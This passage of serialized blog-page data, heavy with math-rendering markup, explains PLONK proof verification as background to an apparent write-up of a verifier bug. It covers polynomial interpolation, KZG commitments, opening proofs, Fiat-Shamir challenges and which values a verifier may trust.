style":93156},[143272,143276],{"type":23,"tag":213,"props":143273,"children":143275},{"className":143274,"style":4145},[4144],[],{"type":23,"tag":213,"props":143277,"children":143279},{"className":143278},[4150,4151,4152,4153],[143280],{"type":23,"tag":213,"props":143281,"children":143283},{"className":143282},[4103,21637,4153],[143284],{"type":28,"value":118064},{"type":23,"tag":213,"props":143286,"children":143288},{"className":143287},[21794],[143289],{"type":28,"value":21797},{"type":23,"tag":213,"props":143291,"children":143293},{"className":143292},[4130],[143294],{"type":23,"tag":213,"props":143295,"children":143297},{"className":143296,"style":93183},[4135],[143298],{"type":23,"tag":213,"props":143299,"children":143300},{},[],{"type":23,"tag":213,"props":143302,"children":143304},{"className":143303},[21766],[143305],{"type":28,"value":265},{"type":23,"tag":213,"props":143307,"children":143309},{"className":143308},[4103,21637],[143310],{"type":28,"value":19329},{"type":23,"tag":213,"props":143312,"children":143314},{"className":143313},[21788],[143315],{"type":28,"value":2121},{"type":28,"value":143317},", etc., all interpolated over a domain ",{"type":23,"tag":209,"props":143319,"children":143321},{"className":143320},[4076,4077],[143322],{"type":23,"tag":213,"props":143323,"children":143325},{"className":143324},[4082],[143326],{"type":23,"tag":213,"props":143327,"children":143329},{"className":143328,"ariaHidden":1710},[4087],[143330],{"type":23,"tag":213,"props":143331,"children":143333},{"className":143332},[4092],[143334,143338],{"type":23,"tag":213,"props":143335,"children":143337},{"className":143336,"style":21632},[4097],[],{"type":23,"tag":213,"props":143339,"children":143341},{"className":143340,"style":93334},[4103,21637],[143342],{"type":28,"value":93337},{"type":28,"value":143344}," of ",{"type":23,"tag":209,"props":143346,"children":143348},{"className":143347},[4076,4077],[143349],{"type":23,"tag":213,"props":143350,"children":143352},{"className":143351},[4082],[143353],{"type":23,"tag":213,"props":143354,"children":143356},{"className":143355,"ariaHidden":1710},[4087],[143357],{"type":23,"tag":213,"props":143358,"children":143360},{"className":143359},[4092],[143361,143365],{"type":23,"tag":213,"props":143362,"children":143364},{"className":143363,"style":110941},[4097],[],{"type":23,"tag":213,"props":143366,"children":143368},{"className":143367},[4103,21637],[143369],{"type":28,"value":56456},{"type":28,"value":143371},"-th roots of unity. Evaluating ",{"type":23,"tag":209,"props":143373,"children":143375},{"className":143374},[4076,4077],[143376],{"type":23,"tag":213,"props":143377,"children":143379},{"className":143378},[4082],[143380],{"type":23,"tag":213,"props":143381,"children":143383},{"className":143382,"ariaHidden":1710},[4087],[143384],{"type":23,"tag":213,"props":143385,"children":143387},{"className":143386},[4092],[143388,143392,143449,143454,143459],{"type":23,"tag":213,"props":143389,"children":143391},{"className":143390,"style":4205},[4097],[],{"type":23,"tag":213,"props":143393,"children":143395},{"className":143394},[4103],[143396,143401],{"type":23,"tag":213,"props":143397,"children":143399},{"className":143398,"style":95454},[4103,21637],[143400],{"type":28,"value":33141},{"type":23,"tag":213,"props":143402,"children":143404},{"className":143403},[4120],[143405],{"type":23,"tag":213,"props":143406,"children":143408},{"className":143407},[4125,21691],[143409,143438],{"type":23,"tag":213,"props":143410,"children":143412},{"className":143411},[4130],[143413,143433],{"type":23,"tag":213,"props":143414,"children":143416},{"className":143415,"style":142654},[4135],[143417],{"type":23,"tag":213,"props":143418,"children":143419},{"style":95475},[143420,143424],{"type":23,"tag":213,"props":143421,"children":143423},{"className":143422,"style":4145},[4144],[],{"type":23,"tag":213,"props":143425,"children":143427},{"className":143426},[4150,4151,4152,4153],[143428],{"type":23,"tag":213,"props":143429,"children":143431},{"className":143430},[4103,21637,4153],[143432],{"type":28,"value":118064},{"type":23,"tag":213,"props":143434,"children":143436},{"className":143435},[21794],[143437],{"type":28,"value":21797},{"type":23,"tag":213,"props":143439,"children":143441},{"className":143440},[4130],[143442],{"type":23,"tag":213,"props":143443,"children":143445},{"className":143444,"style":93183},[4135],[143446],{"type":23,"tag":213,"props":143447,"children":143448},{},[],{"type":23,"tag":213,"props":143450,"children":143452},{"className":143451},[21766],[143453],{"type":28,"value":265},{"type":23,"tag":213,"props":143455,"children":143457},{"className":143456},[4103,21637],[143458],{"type":28,"value":19329},{"type":23,"tag":213,"props":143460,"children":143462},{"className":143461},[21788],[143463],{"type":28,"value":2121},{"type":28,"value":143465}," at the ",{"type":23,"tag":209,"props":143467,"children":143469},{"className":143468},[4076,4077],[143470],{"type":23,"tag":213,"props":143471,"children":143473},{"className":143472},[4082],[143474],{"type":23,"tag":213,"props":143475,"children":143477},{"className":143476,"ariaHidden":1710},[4087],[143478],{"type":23,"tag":213,"props":143479,"children":143481},{"className":143480},[4092],[143482,143486],{"type":23,"tag":213,"props":143483,"children":143485},{"className":143484,"style":142350},[4097],[],{"type":23,"tag":213,"props":143487,"children":143489},{"className":143488},[4103,21637],[143490],{"type":28,"value":3826},{"type":28,"value":143492},"-th root recovers the left wire value at row ",{"type":23,"tag":209,"props":143494,"children":143496},{"className":143495},[4076,4077],[143497],{"type":23,"tag":213,"props":143498,"children":143500},{"className":143499},[4082],[143501],{"type":23,"tag":213,"props":143502,"children":143504},{"className":143503,"ariaHidden":1710},[4087],[143505],{"type":23,"tag":213,"props":143506,"children":143508},{"className":143507},[4092],[143509,143513],{"type":23,"tag":213,"props":143510,"children":143512},{"className":143511,"style":142350},[4097],[],{"type":23,"tag":213,"props":143514,"children":143516},{"className":143515},[4103,21637],[143517],{"type":28,"value":3826},{"type":28,"value":124},{"type":23,"tag":143520,"props":143521,"children":143522},"polynomial-interpolation-panel",{},[],{"type":23,"tag":24,"props":143524,"children":143525},{},[143526,143528,143568,143570,143636,143638,143768,143770,143810,143812,143852,143854,143894,143895,144017],{"type":28,"value":143527},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":209,"props":143529,"children":143531},{"className":143530},[4076,4077],[143532],{"type":23,"tag":213,"props":143533,"children":143535},{"className":143534},[4082],[143536],{"type":23,"tag":213,"props":143537,"children":143539},{"className":143538,"ariaHidden":1710},[4087],[143540],{"type":23,"tag":213,"props":143541,"children":143543},{"className":143542},[4092],[143544,143548,143553,143558,143563],{"type":23,"tag":213,"props":143545,"children":143547},{"className":143546,"style":4205},[4097],[],{"type":23,"tag":213,"props":143549,"children":143551},{"className":143550,"style":21638},[4103,21637],[143552],{"type":28,"value":121878},{"type":23,"tag":213,"props":143554,"children":143556},{"className":143555},[21766],[143557],{"type":28,"value":265},{"type":23,"tag":213,"props":143559,"children":143561},{"className":143560},[4103,21637],[143562],{"type":28,"value":19329},{"type":23,"tag":213,"props":143564,"children":143566},{"className":143565},[21788],[143567],{"type":28,"value":2121},{"type":28,"value":143569}," that combines selectors and witnesses. If the prover was honest, ",{"type":23,"tag":209,"props":143571,"children":143573},{"className":143572},[4076,4077],[143574],{"type":23,"tag":213,"props":143575,"children":143577},{"className":143576},[4082],[143578],{"type":23,"tag":213,"props":143579,"children":143581},{"className":143580,"ariaHidden":1710},[4087],[143582,143623],{"type":23,"tag":213,"props":143583,"children":143585},{"className":143584},[4092],[143586,143590,143595,143600,143605,143610,143614,143619],{"type":23,"tag":213,"props":143587,"children":143589},{"className":143588,"style":4205},[4097],[],{"type":23,"tag":213,"props":143591,"children":143593},{"className":143592,"style":21638},[4103,21637],[143594],{"type":28,"value":121878},{"type":23,"tag":213,"props":143596,"children":143598},{"className":143597},[21766],[143599],{"type":28,"value":265},{"type":23,"tag":213,"props":143601,"children":143603},{"className":143602},[4103,21637],[143604],{"type":28,"value":19329},{"type":23,"tag":213,"props":143606,"children":143608},{"className":143607},[21788],[143609],{"type":28,"value":2121},{"type":23,"tag":213,"props":143611,"children":143613},{"className":143612,"style":4282},[4184],[],{"type":23,"tag":213,"props":143615,"children":143617},{"className":143616},[4287],[143618],{"type":28,"value":3190},{"type":23,"tag":213,"props":143620,"children":143622},{"className":143621,"style":4282},[4184],[],{"type":23,"tag":213,"props":143624,"children":143626},{"className":143625},[4092],[143627,143631],{"type":23,"tag":213,"props":143628,"children":143630},{"className":143629,"style":94131},[4097],[],{"type":23,"tag":213,"props":143632,"children":143634},{"className":143633},[4103],[143635],{"type":28,"value":4116},{"type":28,"value":143637}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":209,"props":143639,"children":143641},{"className":143640},[4076,4077],[143642],{"type":23,"tag":213,"props":143643,"children":143645},{"className":143644},[4082],[143646],{"type":23,"tag":213,"props":143647,"children":143649},{"className":143648,"ariaHidden":1710},[4087],[143650,143692,143755],{"type":23,"tag":213,"props":143651,"children":143653},{"className":143652},[4092],[143654,143658,143664,143669,143674,143679,143683,143688],{"type":23,"tag":213,"props":143655,"children":143657},{"className":143656,"style":4205},[4097],[],{"type":23,"tag":213,"props":143659,"children":143661},{"className":143660,"style":22169},[4103,21637],[143662],{"type":28,"value":143663},"Z",{"type":23,"tag":213,"props":143665,"children":143667},{"className":143666},[21766],[143668],{"type":28,"value":265},{"type":23,"tag":213,"props":143670,"children":143672},{"className":143671},[4103,21637],[143673],{"type":28,"value":19329},{"type":23,"tag":213,"props":143675,"children":143677},{"className":143676},[21788],[143678],{"type":28,"value":2121},{"type":23,"tag":213,"props":143680,"children":143682},{"className":143681,"style":4282},[4184],[],{"type":23,"tag":213,"props":143684,"children":143686},{"className":143685},[4287],[143687],{"type":28,"value":3190},{"type":23,"tag":213,"props":143689,"children":143691},{"className":143690,"style":4282},[4184],[],{"type":23,"tag":213,"props":143693,"children":143695},{"className":143694},[4092],[143696,143701,143742,143746,143751],{"type":23,"tag":213,"props":143697,"children":143700},{"className":143698,"style":143699},[4097],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":213,"props":143702,"children":143704},{"className":143703},[4103],[143705,143710],{"type":23,"tag":213,"props":143706,"children":143708},{"className":143707},[4103,21637],[143709],{"type":28,"value":19329},{"type":23,"tag":213,"props":143711,"children":143713},{"className":143712},[4120],[143714],{"type":23,"tag":213,"props":143715,"children":143717},{"className":143716},[4125],[143718],{"type":23,"tag":213,"props":143719,"children":143721},{"className":143720},[4130],[143722],{"type":23,"tag":213,"props":143723,"children":143725},{"className":143724,"style":108817},[4135],[143726],{"type":23,"tag":213,"props":143727,"children":143728},{"style":4139},[143729,143733],{"type":23,"tag":213,"props":143730,"children":143732},{"className":143731,"style":4145},[4144],[],{"type":23,"tag":213,"props":143734,"children":143736},{"className":143735},[4150,4151,4152,4153],[143737],{"type":23,"tag":213,"props":143738,"children":143740},{"className":143739},[4103,21637,4153],[143741],{"type":28,"value":56456},{"type":23,"tag":213,"props":143743,"children":143745},{"className":143744,"style":4185},[4184],[],{"type":23,"tag":213,"props":143747,"children":143749},{"className":143748},[4190],[143750],{"type":28,"value":4164},{"type":23,"tag":213,"props":143752,"children":143754},{"className":143753,"style":4185},[4184],[],{"type":23,"tag":213,"props":143756,"children":143758},{"className":143757},[4092],[143759,143763],{"type":23,"tag":213,"props":143760,"children":143762},{"className":143761,"style":94131},[4097],[],{"type":23,"tag":213,"props":143764,"children":143766},{"className":143765},[4103],[143767],{"type":28,"value":4106},{"type":28,"value":143769}," is zero on exactly those points, so if all constraints hold then ",{"type":23,"tag":209,"props":143771,"children":143773},{"className":143772},[4076,4077],[143774],{"type":23,"tag":213,"props":143775,"children":143777},{"className":143776},[4082],[143778],{"type":23,"tag":213,"props":143779,"children":143781},{"className":143780,"ariaHidden":1710},[4087],[143782],{"type":23,"tag":213,"props":143783,"children":143785},{"className":143784},[4092],[143786,143790,143795,143800,143805],{"type":23,"tag":213,"props":143787,"children":143789},{"className":143788,"style":4205},[4097],[],{"type":23,"tag":213,"props":143791,"children":143793},{"className":143792,"style":22169},[4103,21637],[143794],{"type":28,"value":143663},{"type":23,"tag":213,"props":143796,"children":143798},{"className":143797},[21766],[143799],{"type":28,"value":265},{"type":23,"tag":213,"props":143801,"children":143803},{"className":143802},[4103,21637],[143804],{"type":28,"value":19329},{"type":23,"tag":213,"props":143806,"children":143808},{"className":143807},[21788],[143809],{"type":28,"value":2121},{"type":28,"value":143811}," divides ",{"type":23,"tag":209,"props":143813,"children":143815},{"className":143814},[4076,4077],[143816],{"type":23,"tag":213,"props":143817,"children":143819},{"className":143818},[4082],[143820],{"type":23,"tag":213,"props":143821,"children":143823},{"className":143822,"ariaHidden":1710},[4087],[143824],{"type":23,"tag":213,"props":143825,"children":143827},{"className":143826},[4092],[143828,143832,143837,143842,143847],{"type":23,"tag":213,"props":143829,"children":143831},{"className":143830,"style":4205},[4097],[],{"type":23,"tag":213,"props":143833,"children":143835},{"className":143834,"style":21638},[4103,21637],[143836],{"type":28,"value":121878},{"type":23,"tag":213,"props":143838,"children":143840},{"className":143839},[21766],[143841],{"type":28,"value":265},{"type":23,"tag":213,"props":143843,"children":143845},{"className":143844},[4103,21637],[143846],{"type":28,"value":19329},{"type":23,"tag":213,"props":143848,"children":143850},{"className":143849},[21788],[143851],{"type":28,"value":2121},{"type":28,"value":143853},", yielding a quotient polynomial ",{"type":23,"tag":209,"props":143855,"children":143857},{"className":143856},[4076,4077],[143858],{"type":23,"tag":213,"props":143859,"children":143861},{"className":143860},[4082],[143862],{"type":23,"tag":213,"props":143863,"children":143865},{"className":143864,"ariaHidden":1710},[4087],[143866],{"type":23,"tag":213,"props":143867,"children":143869},{"className":143868},[4092],[143870,143874,143879,143884,143889],{"type":23,"tag":213,"props":143871,"children":143873},{"className":143872,"style":4205},[4097],[],{"type":23,"tag":213,"props":143875,"children":143877},{"className":143876,"style":21638},[4103,21637],[143878],{"type":28,"value":6079},{"type":23,"tag":213,"props":143880,"children":143882},{"className":143881},[21766],[143883],{"type":28,"value":265},{"type":23,"tag":213,"props":143885,"children":143887},{"className":143886},[4103,21637],[143888],{"type":28,"value":19329},{"type":23,"tag":213,"props":143890,"children":143892},{"className":143891},[21788],[143893],{"type":28,"value":2121},{"type":28,"value":21553},{"type":23,"tag":209,"props":143896,"children":143898},{"className":143897},[4076,4077],[143899],{"type":23,"tag":213,"props":143900,"children":143902},{"className":143901},[4082],[143903],{"type":23,"tag":213,"props":143904,"children":143906},{"className":143905,"ariaHidden":1710},[4087],[143907,143948,143989],{"type":23,"tag":213,"props":143908,"children":143910},{"className":143909},[4092],[143911,143915,143920,143925,143930,143935,143939,143944],{"type":23,"tag":213,"props":143912,"children":143914},{"className":143913,"style":4205},[4097],[],{"type":23,"tag":213,"props":143916,"children":143918},{"className":143917,"style":21638},[4103,21637],[143919],{"type":28,"value":121878},{"type":23,"tag":213,"props":143921,"children":143923},{"className":143922},[21766],[143924],{"type":28,"value":265},{"type":23,"tag":213,"props":143926,"children":143928},{"className":143927},[4103,21637],[143929],{"type":28,"value":19329},{"type":23,"tag":213,"props":143931,"children":143933},{"className":143932},[21788],[143934],{"type":28,"value":2121},{"type":23,"tag":213,"props":143936,"children":143938},{"className":143937,"style":4282},[4184],[],{"type":23,"tag":213,"props":143940,"children":143942},{"className":143941},[4287],[143943],{"type":28,"value":3190},{"type":23,"tag":213,"props":143945,"children":143947},{"className":143946,"style":4282},[4184],[],{"type":23,"tag":213,"props":143949,"children":143951},{"className":143950},[4092],[143952,143956,143961,143966,143971,143976,143980,143985],{"type":23,"tag":213,"props":143953,"children":143955},{"className":143954,"style":4205},[4097],[],{"type":23,"tag":213,"props":143957,"children":143959},{"className":143958,"style":21638},[4103,21637],[143960],{"type":28,"value":6079},{"type":23,"tag":213,"props":143962,"children":143964},{"className":143963},[21766],[143965],{"type":28,"value":265},{"type":23,"tag":213,"props":143967,"children":143969},{"className":143968},[4103,21637],[143970],{"type":28,"value":19329},{"type":23,"tag":213,"props":143972,"children":143974},{"className":143973},[21788],[143975],{"type":28,"value":2121},{"type":23,"tag":213,"props":143977,"children":143979},{"className":143978,"style":4185},[4184],[],{"type":23,"tag":213,"props":143981,"children":143983},{"className":143982},[4190],[143984],{"type":28,"value":111362},{"type":23,"tag":213,"props":143986,"children":143988},{"className":143987,"style":4185},[4184],[],{"type":23,"tag":213,"props":143990,"children":143992},{"className":143991},[4092],[143993,143997,144002,144007,144012],{"type":23,"tag":213,"props":143994,"children":143996},{"className":143995,"style":4205},[4097],[],{"type":23,"tag":213,"props":143998,"children":144000},{"className":143999,"style":22169},[4103,21637],[144001],{"type":28,"value":143663},{"type":23,"tag":213,"props":144003,"children":144005},{"className":144004},[21766],[144006],{"type":28,"value":265},{"type":23,"tag":213,"props":144008,"children":144010},{"className":144009},[4103,21637],[144011],{"type":28,"value":19329},{"type":23,"tag":213,"props":144013,"children":144015},{"className":144014},[21788],[144016],{"type":28,"value":2121},{"type":28,"value":124},{"type":23,"tag":24,"props":144019,"children":144020},{},[144021],{"type":23,"tag":4009,"props":144022,"children":144025},{"alt":144023,"src":144024},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":9693,"props":144027,"children":144029},{"id":144028},"polynomial-commitments-and-opening-proofs",[144030],{"type":28,"value":144031},"Polynomial commitments and opening proofs",{"type":23,"tag":24,"props":144033,"children":144034},{},[144035,144037,144042,144044,144049],{"type":28,"value":144036},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":87,"props":144038,"children":144039},{},[144040],{"type":28,"value":144041},"commitments",{"type":28,"value":144043},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":23,"tag":87,"props":144045,"children":144046},{},[144047],{"type":28,"value":144048},"opening proof",{"type":28,"value":144050}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":24,"props":144052,"children":144053},{},[144054],{"type":28,"value":144055},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":9693,"props":144057,"children":144059},{"id":144058},"reducing-to-a-single-random-point",[144060],{"type":28,"value":144061},"Reducing to a single random point",{"type":23,"tag":24,"props":144063,"children":144064},{},[144065,144067,144107,144109,144134,144136,144258,144260,144285],{"type":28,"value":144066},"After the prover commits to all polynomials, including ",{"type":23,"tag":209,"props":144068,"children":144070},{"className":144069},[4076,4077],[144071],{"type":23,"tag":213,"props":144072,"children":144074},{"className":144073},[4082],[144075],{"type":23,"tag":213,"props":144076,"children":144078},{"className":144077,"ariaHidden":1710},[4087],[144079],{"type":23,"tag":213,"props":144080,"children":144082},{"className":144081},[4092],[144083,144087,144092,144097,144102],{"type":23,"tag":213,"props":144084,"children":144086},{"className":144085,"style":4205},[4097],[],{"type":23,"tag":213,"props":144088,"children":144090},{"className":144089,"style":21638},[4103,21637],[144091],{"type":28,"value":6079},{"type":23,"tag":213,"props":144093,"children":144095},{"className":144094},[21766],[144096],{"type":28,"value":265},{"type":23,"tag":213,"props":144098,"children":144100},{"className":144099},[4103,21637],[144101],{"type":28,"value":19329},{"type":23,"tag":213,"props":144103,"children":144105},{"className":144104},[21788],[144106],{"type":28,"value":2121},{"type":28,"value":144108},", the verifier picks a random challenge point ",{"type":23,"tag":209,"props":144110,"children":144112},{"className":144111},[4076,4077],[144113],{"type":23,"tag":213,"props":144114,"children":144116},{"className":144115},[4082],[144117],{"type":23,"tag":213,"props":144118,"children":144120},{"className":144119,"ariaHidden":1710},[4087],[144121],{"type":23,"tag":213,"props":144122,"children":144124},{"className":144123},[4092],[144125,144129],{"type":23,"tag":213,"props":144126,"children":144128},{"className":144127,"style":110941},[4097],[],{"type":23,"tag":213,"props":144130,"children":144132},{"className":144131,"style":113657},[4103,21637],[144133],{"type":28,"value":113660},{"type":28,"value":144135}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":209,"props":144137,"children":144139},{"className":144138},[4076,4077],[144140],{"type":23,"tag":213,"props":144141,"children":144143},{"className":144142},[4082],[144144],{"type":23,"tag":213,"props":144145,"children":144147},{"className":144146,"ariaHidden":1710},[4087],[144148,144189,144230],{"type":23,"tag":213,"props":144149,"children":144151},{"className":144150},[4092],[144152,144156,144161,144166,144171,144176,144180,144185],{"type":23,"tag":213,"props":144153,"children":144155},{"className":144154,"style":4205},[4097],[],{"type":23,"tag":213,"props":144157,"children":144159},{"className":144158,"style":21638},[4103,21637],[144160],{"type":28,"value":121878},{"type":23,"tag":213,"props":144162,"children":144164},{"className":144163},[21766],[144165],{"type":28,"value":265},{"type":23,"tag":213,"props":144167,"children":144169},{"className":144168,"style":113657},[4103,21637],[144170],{"type":28,"value":113660},{"type":23,"tag":213,"props":144172,"children":144174},{"className":144173},[21788],[144175],{"type":28,"value":2121},{"type":23,"tag":213,"props":144177,"children":144179},{"className":144178,"style":4282},[4184],[],{"type":23,"tag":213,"props":144181,"children":144183},{"className":144182},[4287],[144184],{"type":28,"value":3190},{"type":23,"tag":213,"props":144186,"children":144188},{"className":144187,"style":4282},[4184],[],{"type":23,"tag":213,"props":144190,"children":144192},{"className":144191},[4092],[144193,144197,144202,144207,144212,144217,144221,144226],{"type":23,"tag":213,"props":144194,"children":144196},{"className":144195,"style":4205},[4097],[],{"type":23,"tag":213,"props":144198,"children":144200},{"className":144199,"style":21638},[4103,21637],[144201],{"type":28,"value":6079},{"type":23,"tag":213,"props":144203,"children":144205},{"className":144204},[21766],[144206],{"type":28,"value":265},{"type":23,"tag":213,"props":144208,"children":144210},{"className":144209,"style":113657},[4103,21637],[144211],{"type":28,"value":113660},{"type":23,"tag":213,"props":144213,"children":144215},{"className":144214},[21788],[144216],{"type":28,"value":2121},{"type":23,"tag":213,"props":144218,"children":144220},{"className":144219,"style":4185},[4184],[],{"type":23,"tag":213,"props":144222,"children":144224},{"className":144223},[4190],[144225],{"type":28,"value":111362},{"type":23,"tag":213,"props":144227,"children":144229},{"className":144228,"style":4185},[4184],[],{"type":23,"tag":213,"props":144231,"children":144233},{"className":144232},[4092],[144234,144238,144243,144248,144253],{"type":23,"tag":213,"props":144235,"children":144237},{"className":144236,"style":4205},[4097],[],{"type":23,"tag":213,"props":144239,"children":144241},{"className":144240,"style":22169},[4103,21637],[144242],{"type":28,"value":143663},{"type":23,"tag":213,"props":144244,"children":144246},{"className":144245},[21766],[144247],{"type":28,"value":265},{"type":23,"tag":213,"props":144249,"children":144251},{"className":144250,"style":113657},[4103,21637],[144252],{"type":28,"value":113660},{"type":23,"tag":213,"props":144254,"children":144256},{"className":144255},[21788],[144257],{"type":28,"value":2121},{"type":28,"value":144259}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":209,"props":144261,"children":144263},{"className":144262},[4076,4077],[144264],{"type":23,"tag":213,"props":144265,"children":144267},{"className":144266},[4082],[144268],{"type":23,"tag":213,"props":144269,"children":144271},{"className":144270,"ariaHidden":1710},[4087],[144272],{"type":23,"tag":213,"props":144273,"children":144275},{"className":144274},[4092],[144276,144280],{"type":23,"tag":213,"props":144277,"children":144279},{"className":144278,"style":110941},[4097],[],{"type":23,"tag":213,"props":144281,"children":144283},{"className":144282,"style":113657},[4103,21637],[144284],{"type":28,"value":113660},{"type":28,"value":144286}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":24,"props":144288,"children":144289},{},[144290,144292,144317,144319,144324],{"type":28,"value":144291},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":209,"props":144293,"children":144295},{"className":144294},[4076,4077],[144296],{"type":23,"tag":213,"props":144297,"children":144299},{"className":144298},[4082],[144300],{"type":23,"tag":213,"props":144301,"children":144303},{"className":144302,"ariaHidden":1710},[4087],[144304],{"type":23,"tag":213,"props":144305,"children":144307},{"className":144306},[4092],[144308,144312],{"type":23,"tag":213,"props":144309,"children":144311},{"className":144310,"style":110941},[4097],[],{"type":23,"tag":213,"props":144313,"children":144315},{"className":144314,"style":113657},[4103,21637],[144316],{"type":28,"value":113660},{"type":28,"value":144318},", the prover supplies ",{"type":23,"tag":87,"props":144320,"children":144321},{},[144322],{"type":28,"value":144323},"evaluation claims",{"type":28,"value":144325}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":24,"props":144327,"children":144328},{},[144329,144331,144335],{"type":28,"value":144330},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":87,"props":144332,"children":144333},{},[144334],{"type":28,"value":104644},{"type":28,"value":144336}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":9693,"props":144338,"children":144340},{"id":144339},"what-the-verifier-is-actually-allowed-to-trust",[144341],{"type":28,"value":144342},"What the verifier is actually allowed to trust",{"type":23,"tag":24,"props":144344,"children":144345},{},[144346,144348,144353],{"type":28,"value":144347},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":95,"props":144349,"children":144350},{},[144351],{"type":28,"value":144352},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":28,"value":124},{"type":23,"tag":24,"props":144355,"children":144356},{},[144357,144359,144451,144452,144544,144546,144571,144573,144613,144614,144654,144655,144748,144749,144795,144797,144884,144885,144972,144973,145060],{"type":28,"value":144358},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":209,"props":144360,"children":144362},{"className":144361},[4076,4077],[144363],{"type":23,"tag":213,"props":144364,"children":144366},{"className":144365},[4082],[144367],{"type":23,"tag":213,"props":144368,"children":144370},{"className":144369,"ariaHidden":1710},[4087],[144371],{"type":23,"tag":213,"props":144372,"children":144374},{"className":144373},[4092],[144375,144379,144436,144441,144446],{"type":23,"tag":213,"props":144376,"children":144378},{"className":144377,"style":4205},[4097],[],{"type":23,"tag":213,"props":144380,"children":144382},{"className":144381},[4103],[144383,144388],{"type":23,"tag":213,"props":144384,"children":144386},{"className":144385,"style":22169},[4103,21637],[144387],{"type":28,"value":143663},{"type":23,"tag":213,"props":144389,"children":144391},{"className":144390},[4120],[144392],{"type":23,"tag":213,"props":144393,"children":144395},{"className":144394},[4125,21691],[144396,144425],{"type":23,"tag":213,"props":144397,"children":144399},{"className":144398},[4130],[144400,144420],{"type":23,"tag":213,"props":144401,"children":144403},{"className":144402,"style":142654},[4135],[144404],{"type":23,"tag":213,"props":144405,"children":144406},{"style":116349},[144407,144411],{"type":23,"tag":213,"props":144408,"children":144410},{"className":144409,"style":4145},[4144],[],{"type":23,"tag":213,"props":144412,"children":144414},{"className":144413},[4150,4151,4152,4153],[144415],{"type":23,"tag":213,"props":144416,"children":144418},{"className":144417,"style":93334},[4103,21637,4153],[144419],{"type":28,"value":93337},{"type":23,"tag":213,"props":144421,"children":144423},{"className":144422},[21794],[144424],{"type":28,"value":21797},{"type":23,"tag":213,"props":144426,"children":144428},{"className":144427},[4130],[144429],{"type":23,"tag":213,"props":144430,"children":144432},{"className":144431,"style":93183},[4135],[144433],{"type":23,"tag":213,"props":144434,"children":144435},{},[],{"type":23,"tag":213,"props":144437,"children":144439},{"className":144438},[21766],[144440],{"type":28,"value":265},{"type":23,"tag":213,"props":144442,"children":144444},{"className":144443,"style":113657},[4103,21637],[144445],{"type":28,"value":113660},{"type":23,"tag":213,"props":144447,"children":144449},{"className":144448},[21788],[144450],{"type":28,"value":2121},{"type":28,"value":424},{"type":23,"tag":209,"props":144453,"children":144455},{"className":144454},[4076,4077],[144456],{"type":23,"tag":213,"props":144457,"children":144459},{"className":144458},[4082],[144460],{"type":23,"tag":213,"props":144461,"children":144463},{"className":144462,"ariaHidden":1710},[4087],[144464],{"type":23,"tag":213,"props":144465,"children":144467},{"className":144466},[4092],[144468,144472,144529,144534,144539],{"type":23,"tag":213,"props":144469,"children":144471},{"className":144470,"style":4205},[4097],[],{"type":23,"tag":213,"props":144473,"children":144475},{"className":144474},[4103],[144476,144481],{"type":23,"tag":213,"props":144477,"children":144479},{"className":144478},[4103,21637],[144480],{"type":28,"value":118064},{"type":23,"tag":213,"props":144482,"children":144484},{"className":144483},[4120],[144485],{"type":23,"tag":213,"props":144486,"children":144488},{"className":144487},[4125,21691],[144489,144518],{"type":23,"tag":213,"props":144490,"children":144492},{"className":144491},[4130],[144493,144513],{"type":23,"tag":213,"props":144494,"children":144496},{"className":144495,"style":93152},[4135],[144497],{"type":23,"tag":213,"props":144498,"children":144499},{"style":93156},[144500,144504],{"type":23,"tag":213,"props":144501,"children":144503},{"className":144502,"style":4145},[4144],[],{"type":23,"tag":213,"props":144505,"children":144507},{"className":144506},[4150,4151,4152,4153],[144508],{"type":23,"tag":213,"props":144509,"children":144511},{"className":144510},[4103,4153],[144512],{"type":28,"value":4106},{"type":23,"tag":213,"props":144514,"children":144516},{"className":144515},[21794],[144517],{"type":28,"value":21797},{"type":23,"tag":213,"props":144519,"children":144521},{"className":144520},[4130],[144522],{"type":23,"tag":213,"props":144523,"children":144525},{"className":144524,"style":93183},[4135],[144526],{"type":23,"tag":213,"props":144527,"children":144528},{},[],{"type":23,"tag":213,"props":144530,"children":144532},{"className":144531},[21766],[144533],{"type":28,"value":265},{"type":23,"tag":213,"props":144535,"children":144537},{"className":144536,"style":113657},[4103,21637],[144538],{"type":28,"value":113660},{"type":23,"tag":213,"props":144540,"children":144542},{"className":144541},[21788],[144543],{"type":28,"value":2121},{"type":28,"value":144545},", the public-input polynomial at ",{"type":23,"tag":209,"props":144547,"children":144549},{"className":144548},[4076,4077],[144550],{"type":23,"tag":213,"props":144551,"children":144553},{"className":144552},[4082],[144554],{"type":23,"tag":213,"props":144555,"children":144557},{"className":144556,"ariaHidden":1710},[4087],[144558],{"type":23,"tag":213,"props":144559,"children":144561},{"className":144560},[4092],[144562,144566],{"type":23,"tag":213,"props":144563,"children":144565},{"className":144564,"style":110941},[4097],[],{"type":23,"tag":213,"props":144567,"children":144569},{"className":144568,"style":113657},[4103,21637],[144570],{"type":28,"value":113660},{"type":28,"value":144572},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG 